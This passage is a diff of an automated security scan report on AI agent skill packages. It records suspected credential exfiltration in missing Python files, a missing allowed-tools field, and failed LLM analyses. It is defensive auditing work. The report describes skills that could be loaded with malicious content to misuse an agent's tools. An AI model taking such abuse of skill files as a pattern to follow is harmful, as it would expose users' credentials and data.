references/v3_migration.md) contains environment variable access or network exfiltration code. The flagged behavior likely originates in the unretrieved Python files (dask.py, zarr.py, h5py.py, xarray.py) which were listed as referenced but not found. Without access to those files, the threat cannot be confirmed or dismissed.> File: `SKILL.md`- > **Remediation:** Clearly label referenced works as self-published preprints rather than peer-reviewed research. Avoid using academic citation formatting to imply external validation of the methodology.+ > **Remediation:** Retrieve and inspect all Python files referenced in the skill package (dask.py, zarr.py, h5py.py, xarray.py) for environment variable access combined with network calls. Verify no credentials or environment data are being sent to external endpoints. If these files are third-party library stubs, confirm they are not modified versions of legitimate packages.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field- > The SKILL.md YAML frontmatter does not declare an allowed-tools field. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on which agent tools this skill may invoke. Given the pre-scan flags suggesting potential network and file access patterns in associated Python files, the absence of tool restrictions is a minor concern worth noting.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Unverified Referenced Files and Missing Script Files+ > The skill references several files (dask.py, h5py.py, zarr.py, xarray.py, templates/v3_migration.md, assets/v3_migration.md, templates/api_reference.md, assets/api_reference.md) that are not found in the package. While the two core reference files (references/api_reference.md and references/v3_migration.md) are present and appear legitimate, the missing files could indicate an incomplete package or potential for future injection if those paths are later populated with malicious content. The static analyzer also flagged cross-file exfiltration chains involving 2 files, but the visible content of the found reference files does not contain malicious code.> File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter reflecting the minimum required tool set for the skill's legitimate functionality (e.g., allowed-tools: [] if no tools are needed for a pure reasoning skill).+ > **Remediation:** Audit the full skill package to confirm all referenced files are present and contain only expected content. Remove references to non-existent files or add them with appropriate content. Investigate the static analyzer findings regarding cross-file exfiltration chains, as the flagged Python files (dask.py, zarr.py, h5py.py, xarray.py) were not found in the provided content but may exist in the actual package.### glycoengineering — ⚪ INFO- **⚪ INFO** `LLM_ANALYSIS_FAILED` — LLM analysis failed> The LLM analyzer encountered an error and could not complete semantic analysis: Empty response from LLM> **Remediation:** Check your LLM provider configuration (API key, model name, network connectivity). The scan completed with static analysis only — LLM-based threat detection was not performed.++### medchem — ⚪ INFO++- **⚪ INFO** `LLM_ANALYSIS_FAILED` — LLM analysis failed+ > The LLM analyzer encountered an error and could not complete semantic analysis: litellm.InternalServerError: AnthropicError - {"type":"error","error":{"type":"overloaded_error","message":"Overloaded"},"request_id":"req_011Cbpk3yso1sRG4ut6iHK3U"}+ > **Remediation:** Check your LLM provider configuration (API key, model name, network connectivity). The scan completed with static analysis only — LLM-based threat detection was not performed.